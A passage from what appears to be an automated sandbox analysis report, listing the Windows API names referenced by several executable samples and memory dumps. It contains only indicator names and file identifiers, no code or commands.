"7Us0xM51.exe.3748539400") Found reference to API (Indicator: "SHGetPathFromIDListW"; File: "7Us0xM51.exe.3748539400") Found reference to API (Indicator: "RtlGetVersion"; File: "7Us0xM51.exe.3748539400") Found reference to API (Indicator: "SetCurrentDirectoryW"; File: "7Us0xM51.exe.3748539400") Found reference to API (Indicator: "CreateFileW"; File: "7Us0xM51.exe.3748539400") Found reference to API (Indicator: "TlsGetValue"; File: "7Us0xM51.exe.3748539400") Found reference to API (Indicator: "TlsSetValue"; File: "7Us0xM51.exe.3748539400") Found reference to API (Indicator: "SetLastError"; File: "7Us0xM51.exe.3748539400") Found reference to API (Indicator: "UnregisterWait"; File: "7Us0xM51.exe.3748539400") Found reference to API (Indicator: "GetCurrentThread"; File: "7Us0xM51.exe.3748539400") Found reference to API (Indicator: "VirtualFree"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "VirtualAlloc"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "InitializeSListHead"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "IsDebuggerPresent"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "IsProcessorFeaturePresent"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "RtlUnwind"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "EnterCriticalSection"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "LeaveCriticalSection"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "DeleteCriticalSection"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "TlsAlloc"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "TlsFree"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "LoadLibraryExW"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "GetStdHandle"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "GetModuleFileNameW"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "GetModuleHandleExW"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "HeapFree"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "HeapAlloc"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "HeapReAlloc"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "LCMapStringW"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "FindFirstFileExW"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "FindNextFileW"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "IsValidCodePage"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "GetACP"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "GetOEMCP"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "GetCPInfo"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "GetCommandLineA"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "GetCommandLineW"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "MultiByteToWideChar"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "SetStdHandle"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "GetFileType"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "GetStringTypeW"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "GetProcessHeap"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "HeapSize"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "FlushFileBuffers"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "GetConsoleOutputCP"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "GetConsoleMode"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "SetFilePointerEx"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "WriteConsoleW"; File: "6Hy6xt9.exe.782150845") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "LookupPrivilegeValueA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "EqualSid"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "GetShortPathNameA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "CompareStringA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "WritePrivateProfileStringA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "IsDBCSLeadByte"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileIntA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileStringA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "GetDriveTypeA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "SetFileTime"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "FindResourceA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "GetVolumeInformationA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "FreeResource"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "GetVersion"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "SetCurrentDirectoryA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "TerminateThread"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "GetTempFileNameA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "DosDateTimeToFileTime"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "CreateEventA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "GetDeviceCaps"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "GetDesktopWindow"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "CharUpperA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "ExitWindowsEx"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "MessageBeep"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "CharPrevA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "LoadStringA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "CharNextA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "EnableWindow"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "SetForegroundWindow"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "PeekMessageA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "SendMessageA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "SetWindowTextA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "GetWindowLongA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "CallWindowProcA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "SetWindowLongA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "DispatchMessageA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "EnumResourceLanguagesA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "MulDiv"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API (Indicator: "CryptImportKey"; Source: "00000000-00000840.00000000.67112.02980000.00000004.mdmp, 00000000-00000840.00000002.70951.02980000.00000004.mdmp") Found reference to API (Indicator: "CryptDecrypt"; Source: "00000000-00000840.00000000.67112.02980000.00000004.mdmp, 00000000-00000840.00000002.70951.02980000.00000004.mdmp") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00000840.00000002.70951.003E1000.00000020.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00000840.00000002.70951.003E1000.00000020.mdmp") Found reference to API (Indicator: "DecryptFileA"; Source: "00000000-00000840.00000002.70951.003E1000.00000020.mdmp") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00002480.00000000.67024.00BB1000.00000020.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00002480.00000000.67024.00BB1000.00000020.mdmp") Found reference to API (Indicator: "DecryptFileA"; Source: "00000000-00002480.00000000.67024.00BB1000.00000020.mdmp") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "LookupPrivilegeValueA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "EqualSid"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "GetShortPathNameA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "CompareStringA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "WritePrivateProfileStringA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "IsDBCSLeadByte"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileIntA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileStringA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "GetDriveTypeA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "SetFileTime"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "FindResourceA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "GetVolumeInformationA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "FreeResource"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "GetVersion"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "SetCurrentDirectoryA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "TerminateThread"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "GetTempFileNameA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "DosDateTimeToFileTime"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "CreateEventA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "GetDeviceCaps"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "GetDesktopWindow"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "CharUpperA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "ExitWindowsEx"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "MessageBeep"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "CharPrevA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "LoadStringA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "CharNextA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "EnableWindow"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "SetForegroundWindow"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "PeekMessageA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "SendMessageA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "SetWindowTextA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "GetWindowLongA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "CallWindowProcA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "SetWindowLongA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; Source: 